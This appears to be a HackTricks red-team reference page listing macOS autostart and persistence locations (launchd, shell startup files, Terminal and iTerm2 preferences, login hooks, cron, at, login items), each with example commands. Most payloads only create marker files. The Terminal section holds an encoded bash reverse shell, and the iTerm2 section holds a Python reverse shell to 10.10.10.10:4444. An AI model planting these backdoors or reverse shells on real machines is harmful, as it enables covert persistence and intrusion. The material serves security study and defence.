macOS Auto Start

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

This section is heavily based on the blog series Beyond the good ol' LaunchAgents, the goal is to add more Autostart Locations (if possible), indicate which techniques are still working nowadays with latest version of macOS (13.4) and to specify the permissions needed.

Sandbox Bypass

Here you can find start locations useful for sandbox bypass that allows you to simply execute something by writing it into a file and waiting for a very common action, a determined amount of time or an action you can usually perform from inside a sandbox without needing root permissions.

Launchd

  • Useful to bypass sandbox:

  • TCC Bypass: 🔴

Locations

  • /Library/LaunchAgents

    • Trigger: Reboot

    • Root required

  • /Library/LaunchDaemons

    • Trigger: Reboot

    • Root required

  • /System/Library/LaunchAgents

    • Trigger: Reboot

    • Root required

  • /System/Library/LaunchDaemons

    • Trigger: Reboot

    • Root required

  • ~/Library/LaunchAgents

    • Trigger: Relog-in

  • ~/Library/LaunchDemons

    • Trigger: Relog-in

Description & Exploitation

launchd is the first process executed by OX S kernel at startup and the last one to finish at shut down. It should always have the PID 1. This process will read and execute the configurations indicated in the ASEP plists in:

  • /Library/LaunchAgents: Per-user agents installed by the admin

  • /Library/LaunchDaemons: System-wide daemons installed by the admin

  • /System/Library/LaunchAgents: Per-user agents provided by Apple.

  • /System/Library/LaunchDaemons: System-wide daemons provided by Apple.

When a user logs in the plists located in /Users/$USER/Library/LaunchAgents and /Users/$USER/Library/LaunchDemons are started with the logged users permissions.

The main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup (as there are services like ssh that needs to be executed before any user access the system). Also agents may use GUI while daemons need to run in the background.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
    <key>Label</key>
        <string>com.apple.someidentifier</string>
    <key>ProgramArguments</key>
    <array>
        <string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
    </array>
    <key>RunAtLoad</key><true/> <!--Execute at system startup-->
    <key>StartInterval</key>
    <integer>800</integer> <!--Execute each 800s-->
    <key>KeepAlive</key>
    <dict>
        <key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
        <!--If previous is true, then re-execute in successful exit-->
    </dict>
</dict>
</plist>

There are cases where an agent needs to be executed before the user logins, these are called PreLoginAgents. For example, this is useful to provide assistive technology at login. They can be found also in /Library/LaunchAgents(see here an example).

New Daemons or Agents config files will be loaded after next reboot or using launchctl load <target.plist> It's also possible to load .plist files without that extension with launchctl -F <file> (however those plist files won't be automatically loaded after reboot). It's also possible to unload with launchctl unload <target.plist> (the process pointed by it will be terminated),

To ensure that there isn't anything (like an override) preventing an Agent or Daemon from running run: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist

List all the agents and daemons loaded by the current user:

launchctl list

If a plist is owned by a user, even if it's in a daemon system wide folders, the task will be executed as the user and not as root. This can prevent some privilege escalation attacks.

shell startup files

Writeup: https://theevilbit.github.io/beyond/beyond_0001/ Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Useful to bypass sandbox:

  • TCC Bypass:

    • But you need to find an app with a TCC bypass that executes a shell that loads these files

Locations

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

    • Trigger: Open a terminal with zsh

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

    • Trigger: Open a terminal with zsh

    • Root required

  • ~/.zlogout

    • Trigger: Exit a terminal with zsh

  • /etc/zlogout

    • Trigger: Exit a terminal with zsh

    • Root required

  • Potentially more in: man zsh

  • ~/.bashrc

    • Trigger: Open a terminal with bash

  • /etc/profile (didn't work)

  • ~/.profile (didn't work)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

    • Trigger: Expected to trigger with xterm, but it isn't installed and even after installed this error is thrown: xterm: DISPLAY is not set

Description & Exploitation

When initiating a shell environment such as zsh or bash, certain startup files are run. macOS currently uses /bin/zsh as the default shell. This shell is automatically accessed when the Terminal application is launched or when a device is accessed via SSH. While bash and sh are also present in macOS, they need to be explicitly invoked to be used.

The man page of zsh, which we can read with man zsh has a long description of the startup files.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Re-opened Applications

Configuring the indicated exploitation and loging-out and loging-in or even rebooting didn't work for me to execute the app. (The app wasn't being executed, maybe it needs to be running when these actions are performed)

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • Useful to bypass sandbox:

  • TCC bypass: 🔴

Location

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

    • Trigger: Restart reopening applications

Description & Exploitation

All the applications to reopen are inside the plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

So, make the reopen applications launch your own one, you just need to add your app to the list.

The UUID can be found listing that directory or with ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

To check the applications that will be reopened you can do:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

To add an application to this list you can use:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
    -c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
    -c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
    -c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
    -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
    ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Terminal Preferences

  • Useful to bypass sandbox:

  • TCC bypass:

    • Terminal use to have FDA permissions of the user use it

Location

  • ~/Library/Preferences/com.apple.Terminal.plist

    • Trigger: Open Terminal

Description & Exploitation

In ~/Library/Preferences are store the preferences of the user in the Applications. Some of these preferences can hold a configuration to execute other applications/scripts.

For example, the Terminal can execute a command in the Startup:

This config is reflected in the file ~/Library/Preferences/com.apple.Terminal.plist like this:

[...]
"Window Settings" => {
    "Basic" => {
      "CommandString" => "touch /tmp/terminal_pwn"
      "Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
      "FontAntialias" => 1
      "FontWidthSpacing" => 1.004032258064516
      "name" => "Basic"
      "ProfileCurrentVersion" => 2.07
      "RunCommandAsShell" => 0
      "type" => "Window Settings"
    }
[...]

So, if the plist of the preferences of the terminal in the system could be overwritten, the the open functionality can be used to open the terminal and that command will be executed.

You can add this from the cli with:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Terminal Scripts / Other file extensions

  • Useful to bypass sandbox:

  • TCC bypass:

    • Terminal use to have FDA permissions of the user use it

Location

  • Anywhere

    • Trigger: Open Terminal

Description & Exploitation

If you create a .terminal script and opens, the Terminal application will be automatically invoked to execute the commands indicated in there. If the Terminal app has some special privileges (such as TCC), your command will be run with those special privileges.

Try it with:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>CommandString</key>
	<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
	<key>ProfileCurrentVersion</key>
	<real>2.0600000000000001</real>
	<key>RunCommandAsShell</key>
	<false/>
	<key>name</key>
	<string>exploit</string>
	<key>type</key>
	<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

You could also use the extensions .command, .tool, with regular shell scripts content and they will be also opened by Terminal.

If terminal has Full Disk Access it will be able to complete that action (note that the command executed will be visible in a terminal window).

Audio Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0013/ Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Useful to bypass sandbox:

  • TCC bypass: 🟠

    • You might get some extra TCC access

Location

  • /Library/Audio/Plug-Ins/HAL

    • Root required

    • Trigger: Restart coreaudiod or the computer

  • /Library/Audio/Plug-ins/Components

    • Root required

    • Trigger: Restart coreaudiod or the computer

  • ~/Library/Audio/Plug-ins/Components

    • Trigger: Restart coreaudiod or the computer

  • /System/Library/Components

    • Root required

    • Trigger: Restart coreaudiod or the computer

Description

According to the previous writeups it's possible to compile some audio plugins and get them loaded.

QuickLook Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

  • Useful to bypass sandbox:

  • TCC bypass: 🟠

    • You might get some extra TCC access

Location

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/AppNameHere/Contents/Library/QuickLook/

  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

Description & Exploitation

QuickLook plugins can be executed when you trigger the preview of a file (press space bar with the file selected in Finder) and a plugin supporting that file type is installed.

It's possible to compile your own QuickLook plugin, place it in one of the previous locations to load it and then go to a supported file and press space to trigger it.

Login/Logout Hooks

This didn't work for me, neither with the user LoginHook nor with the root LogoutHook

Writeup: https://theevilbit.github.io/beyond/beyond_0022/

  • Useful to bypass sandbox:

  • TCC bypass: 🔴

Location

  • You need to be able to execute something like defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh

    • Located in ~/Library/Preferences/com.apple.loginwindow.plist

They are deprecated but can be used to execute commands when a user logs in.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

This setting is stored in /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
    LoginHook = "/Users/username/hook.sh";
    LogoutHook = "/Users/username/hook.sh";
    MiniBuddyLaunch = 0;
    TALLogoutReason = "Shut Down";
    TALLogoutSavesState = 0;
    oneTimeSSMigrationComplete = 1;
}

To delete it:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

The root user one is stored in /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Conditional Sandbox Bypass

Here you can find start locations useful for sandbox bypass that allows you to simply execute something by writing it into a file and expecting not super common conditions like specific programs installed, "uncommon" user actions or environments.

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • Useful to bypass sandbox:

    • However, you need to be able to execute crontab binary

    • Or be root

  • TCC bypass: 🔴

Location

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

    • Root required for direct write access. No root required if you can execute crontab <file>

    • Trigger: Depends on the cron job

Description & Exploitation

List the cron jobs of the current user with:

crontab -l

You can also see all the cron jobs of the users in /usr/lib/cron/tabs/ and /var/at/tabs/ (needs root).

In MacOS several folders executing scripts with certain frequency can be found in:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

There you can find the regular cron jobs, the at jobs (not very used) and the periodic jobs (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: periodic daily.

To add a user cronjob programatically it's possible to use:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

  • Useful to bypass sandbox:

  • TCC bypass:

    • iTerm2 use to have granted TCC permissions

Locations

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

    • Trigger: Open iTerm

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

    • Trigger: Open iTerm

  • ~/Library/Preferences/com.googlecode.iterm2.plist

    • Trigger: Open iTerm

Description & Exploitation

Scripts stored in ~/Library/Application Support/iTerm2/Scripts/AutoLaunch will be executed. For example:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

or:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
    async with iterm2.CustomControlSequenceMonitor(
            connection, "shared-secret", r'^create-window$') as mon:
        while True:
            match = await mon.async_get()
            await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

The script ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt will also be executed:

do shell script "touch /tmp/iterm2-autolaunchscpt"

The iTerm2 preferences located in ~/Library/Preferences/com.googlecode.iterm2.plist can indicate a command to execute when the iTerm2 terminal is opened.

This setting can be configured in the iTerm2 settings:

And the command is reflected in the preferences:

plutil -p com.googlecode.iterm2.plist
{
  [...]
  "New Bookmarks" => [
    0 => {
      [...]
      "Initial Text" => "touch /tmp/iterm-start-command"

You can set the command to execute with:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Highly probable there are other ways to abuse the iTerm2 preferences to execute arbitrary commands.

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

  • Useful to bypass sandbox:

    • But xbar must be installed

  • TCC bypass:

    • It requests Accessibility permissions

Location

  • ~/Library/Application\ Support/xbar/plugins/

    • Trigger: Once xbar is executed

Description

If the popular program xbar is installed, it's possible to write a shell script in ~/Library/Application\ Support/xbar/plugins/ which will be executed when xbar is started:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Writeup: https://theevilbit.github.io/beyond/beyond_0008/

  • Useful to bypass sandbox:

    • But Hammerspoon must be installed

  • TCC bypass:

    • It requests Accessibility permissions

Location

  • ~/.hammerspoon/init.lua

    • Trigger: Once hammerspoon is executed

Description

Hammerspoon serves as an automation platform for macOS, leveraging the LUA scripting language for its operations. Notably, it supports the integration of complete AppleScript code and the execution of shell scripts, enhancing its scripting capabilities significantly.

The app looks for a single file, ~/.hammerspoon/init.lua, and when started the script will be executed.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Useful to bypass sandbox:

    • But BetterTouchTool must be installed

  • TCC bypass:

    • It requests Automation-Shortcuts and Accessibility permissions

Location

  • ~/Library/Application Support/BetterTouchTool/*

This tool allows to indicate applications or scripts to execute when some shortcuts are pressed . An attacker might be able configure his own shortcut and action to execute in the database to make it execute arbitrary code (a shortcut could be to just to press a key).

Alfred

  • Useful to bypass sandbox:

    • But Alfred must be installed

  • TCC bypass:

    • It requests Automation, Accessibility and even Full-Disk access permissions

Location

  • ???

It allows to create workflows that can execute code when certain conditions are met. Potentially it's possible for an attacker to create a workflow file and make Alfred load it (it's needed to pay the premium version to use workflows).

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • Useful to bypass sandbox:

    • But ssh needs to be enabled and used

  • TCC bypass:

    • SSH use to have FDA access

Location

  • ~/.ssh/rc

    • Trigger: Login via ssh

  • /etc/ssh/sshrc

    • Root required

    • Trigger: Login via ssh

To turn ssh on requres Full Disk Access:

sudo systemsetup -setremotelogin on

Description & Exploitation

By default, unless PermitUserRC no in /etc/ssh/sshd_config, when a user logins via SSH the scripts /etc/ssh/sshrc and ~/.ssh/rc will be executed.

Login Items

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • Useful to bypass sandbox:

    • But you need to execute osascript with args

  • TCC bypass: 🔴

Locations

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

    • Trigger: Login

    • Exploit payload stored calling osascript

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

    • Trigger: Login

    • Root required

Description

In System Preferences -> Users & Groups -> Login Items you can find items to be executed when the user logs in. It it's possible to list them, add and remove from the command line:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}' 

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"' 

These items are stored in the file ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Login items can also be indicated in using the API SMLoginItemSetEnabled which will store the configuration in /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP as Login Item

(Check previos section about Login Items, this is an extension)

If you store a ZIP file as a Login Item the Archive Utility will open it and if the zip was for example stored in ~/Library and contained the Folder LaunchAgents/file.plist with a backdoor, that folder will be created (it isn't by default) and the plist will be added so the next time the user logs in again, the backdoor indicated in the plist will be executed.

Another options would be to create the files .bash_profile and .zshenv inside the user HOME so if the folder LaunchAgents already exist this technique would still work.

At

Writeup: https://theevilbit.github.io/beyond/beyond_0014/

  • Useful to bypass sandbox:

    • But you need to execute at and it must be enabled

  • TCC bypass: 🔴

Location

  • Need to execute at and it must be enabled

Description

at tasks are designed for scheduling one-time tasks to be executed at certain times. Unlike cron jobs, at tasks are automatically removed post-execution. It's crucial to note that these tasks are persistent across system reboots, marking them as potential security concerns under certain conditions.

By default they are disabled but the root user can enable them with:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

This will create a file in 1 hour:

echo "echo 11 > /tmp/at.txt" | at now+1

Check the job queue using atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Above we can see two jobs scheduled. We can print the details of the job using at -c JOBNUMBER

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0